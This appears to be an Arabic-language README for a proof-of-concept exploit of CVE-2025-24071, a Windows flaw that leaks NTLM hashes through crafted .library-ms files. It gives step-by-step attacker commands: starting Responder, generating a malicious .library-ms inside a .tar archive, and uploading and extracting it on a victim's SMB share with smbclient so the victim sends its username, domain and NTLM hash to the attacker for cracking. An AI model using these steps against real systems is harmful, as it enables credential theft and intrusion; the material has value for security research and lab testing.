CVE-2025-24071 PoC (طريقة الاستخراج عبر SMB + TAR)

هذا هو إثبات مفهوم (PoC) لاستغلال CVE-2025-24071، وهي ثغرة أمنية في Windows تسمح بتسريب تجزئات NTLM عبر ملفات .library-ms. يختلف هذا الإصدار قليلاً عن الإصدارات الأخرى باستخدام أرشيف .tar بدلاً من .zip، مما يحسّن التوافق في البيئات التي تعتمد على SMB فقط.

📌 لماذا .tar بدلاً من .zip؟

معظم أدوات إثبات المفهوم العامة تستخدم .zip لتغليف ملف .library-ms الخبيث. ومع ذلك، إذا كنت تعمل في بيئة SMB مقيدة (مثل الوصول فقط عبر smbclient)، فلا يمكن استخراج ملفات ZIP عن بُعد. باستخدام أرشيف .tar، يمكنك استخراج الحمولة مباشرة من مشاركة SMB باستخدام أمر tar المدمج في smbclient، مما يتيح النشر عن بُعد بدون الحاجة إلى تفاعل المستخدم.

🔧 المتطلبات

• جهاز المهاجم ويتضمن:
  • Responder مثبّتًا ويعمل
  • خادم SMB (مثل Responder أو impacket-smbserver أو samba)
• جهاز الضحية:
  • نظام Windows مع تمكين الوصول إلى SMB على عنوان IP الخاص بالمهاجم

🧪 الخطوات

1. تشغيل Responder

قم بتشغيل Responder على الواجهة الصحيحة:

sudo responder -I <interface>

تأكد من أن عنوان IP في الحمولة يطابق هذه الواجهة.

2. إنشاء ملف .library-ms الخبيث وتعبئته في .tar

python3 create_tar_poc.py

سيُطلب منك إدخال:

• اسم ملف (مثل: exploit)
• عنوان IP الخاص بالمهاجم (مثل: 192.168.1.100)

يؤدي ذلك إلى إنشاء:

• exploit.library-ms (داخل exploit.tar)
• exploit.tar

3. الرفع والاستخراج على مشاركة SMB الخاصة بالضحية

من جهاز المهاجم، اتصل بمشاركة SMB الخاصة بالضحية باستخدام smbclient:

smbclient //<victim_ip>/<sharename> -U <USERNAME>
put exploit.tar
tar x exploit.tar

سيؤدي ذلك إلى فك ضغط ملف .library-ms داخل المشاركة.

عند استخراج exploit.tar، سيتصل ملف .library-ms الذي يحتوي على xml خبيث بخادم SMB الخاص بنا وهو Responder النشط على جهازنا، وبذلك يبدأ محاولة مصادقة باستخدام NTLM عبر إرسال طلب يحتوي على اسم المستخدم والمجال وتجزئة NTLM لكلمة مرور المستخدم، والتي يمكننا فك تشفيرها لاحقًا.

📽️ فيديو إثبات المفهوم (PoC)

قريبًا...

🙏 الشكر والتقدير

Daniel Miranda Barcelona AKA Excal1bur | استنادًا إلى العمل الأصلي لـ 0x6rss، مع تكييفه لنشر SMB القائم على TAR في سيناريوهات المختبر.